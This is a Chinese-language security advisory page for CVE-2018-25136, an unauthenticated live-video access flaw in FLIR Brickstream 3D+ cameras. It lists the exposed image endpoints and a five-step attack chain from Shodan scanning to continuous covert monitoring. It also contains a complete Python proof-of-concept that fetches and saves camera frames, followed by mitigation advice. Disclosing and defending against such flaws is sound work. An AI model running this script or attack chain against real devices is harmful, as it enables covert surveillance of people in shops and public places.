IPBUF安全漏洞报告
English
CVE-2018-25136 CVSS 7.5 高危

CVE-2018-25136: FLIR Brickstream 3D+ 未授权访问实时视频流漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25136
漏洞类型
未授权访问
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR Brickstream 3D+ 2.1.742.1842

相关标签

未授权访问信息泄露视频监控FLIR Brickstream物联网安全CVE-2018-25136默认凭据访问控制缺失

漏洞概述

CVE-2018-25136是FLIR Brickstream 3D+设备中发现的一个高危安全漏洞,该漏洞允许未经认证的远程攻击者无需任何凭据即可访问设备的实时视频流。FLIR Brickstream 3D+是一款广泛应用于零售和公共场所的人流统计分析摄像头系统。攻击者可以通过直接访问特定的图像端点(如middleImage.jpg、rightimage.jpg、leftimage.jpg等)来获取设备的实时监控画面。此漏洞的CVSS评分达到7.5分,属于高危级别,主要影响系统的机密性。由于该漏洞无需任何认证即可利用,且攻击复杂度较低,攻击者可以在不与设备用户进行任何交互的情况下发起攻击。这使得大量暴露在互联网上的Brickstream设备面临被非法监控的风险,攻击者可以窃取敏感场所的监控视频,用于非法监视、隐私侵犯或其他恶意目的。该漏洞已被公开披露,并存在可用的利用代码,对公共安全和个人隐私构成严重威胁。

技术细节

FLIR Brickstream 3D+ 2.1.742.1842版本中存在严重的访问控制缺陷。系统设计时未对视频流端点实施适当的身份验证机制,导致任何能够访问设备IP地址的攻击者都可以直接获取视频流图像。具体来说,攻击者可以通过HTTP请求直接访问设备上的多个图像端点:1) middleImage.jpg - 获取中间视角视频流;2) rightimage.jpg - 获取右侧视角视频流;3) leftimage.jpg - 获取左侧视角视频流。这些端点直接返回JPEG格式的实时视频帧,无需任何会话令牌、Cookie或基本认证。攻击者只需构造简单的HTTP GET请求即可获取视频帧。由于Brickstream设备通常部署在商场、零售店、银行等场所,攻击成功后可获取敏感场所的实时监控画面。此外,攻击者还可以编写自动化脚本批量扫描互联网上的Brickstream设备,实现大规模非法监控。该漏洞属于CWE-306(认证机制缺失)和CWE-200(敏感信息泄露)的典型案例。

攻击链分析

STEP 1
步骤1: 目标侦察
攻击者使用Shodan、Censys或Zoomeye等搜索引擎扫描暴露在互联网上的FLIR Brickstream设备,收集目标IP地址和端口信息
STEP 2
步骤2: 漏洞验证
攻击者构造HTTP GET请求访问设备的图像端点(middleImage.jpg、rightimage.jpg、leftimage.jpg),验证设备是否存在未授权访问漏洞
STEP 3
步骤3: 视频流获取
攻击者通过已验证的端点直接获取实时视频帧图像,无需任何认证凭据或会话令牌
STEP 4
步骤4: 自动化采集
编写脚本实现对多个图像端点的循环访问,定时抓取视频帧,实现对目标场所的持续监控
STEP 5
步骤5: 数据利用
攻击者将获取的视频流数据用于非法监视、隐私侵犯、敲诈勒索或其他恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2018-25136 PoC - FLIR Brickstream 3D+ Unauthenticated Video Stream Access # This PoC demonstrates the vulnerability that allows remote attackers to access # live video streams without credentials. import requests import sys import argparse def check_vulnerability(target_ip, target_port=80): """Check if target is vulnerable to CVE-2018-25136""" base_url = f"http://{target_ip}:{target_port}" # Image endpoints that can be accessed without authentication endpoints = [ "/middleImage.jpg", "/rightimage.jpg", "/leftimage.jpg", "/stream.jpg" ] print(f"[*] Testing target: {base_url}") print(f"[*] CVE-2018-25136 - FLIR Brickstream Unauthenticated Access\n") vulnerable = False for endpoint in endpoints: try: url = base_url + endpoint print(f"[*] Testing endpoint: {endpoint}") response = requests.get(url, timeout=10) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_length = len(response.content) if 'image' in content_type or response.content[:3] == b'\xff\xd8\xff': print(f"[+] VULNERABLE! Endpoint {endpoint} returned image data") print(f" Content-Type: {content_type}") print(f" Size: {content_length} bytes") # Save the image filename = f"exfiltrated_{endpoint.replace('/', '')}" with open(filename, 'wb') as f: f.write(response.content) print(f" Saved to: {filename}") vulnerable = True else: print(f"[-] Endpoint accessible but no image data returned") elif response.status_code == 401: print(f"[-] Endpoint requires authentication") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.Timeout: print(f"[-] Request timeout for {endpoint}") except requests.exceptions.ConnectionError: print(f"[-] Connection error for {endpoint}") except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return vulnerable def main(): parser = argparse.ArgumentParser(description='CVE-2018-25136 PoC') parser.add_argument('target', help='Target IP address or hostname') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') args = parser.parse_args() if check_vulnerability(args.target, args.port): print("\n[!] Target is VULNERABLE to CVE-2018-25136") print("[!] Attackers can access live video streams without authentication") sys.exit(1) else: print("\n[-] Target appears to be patched or not vulnerable") sys.exit(0) if __name__ == "__main__": main()

影响范围

FLIR Brickstream 3D+ 2.1.742.1842及之前版本

防御指南

临时缓解措施
立即将FLIR Brickstream设备从互联网隔离,部署在受保护的内部网络中;使用防火墙规则限制对设备HTTP端口的访问,仅允许受信任的IP地址访问;如果业务允许,暂时关闭设备的视频流服务;启用网络入侵检测系统监控可疑的访问行为;联系FLIR厂商获取最新的安全更新和补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表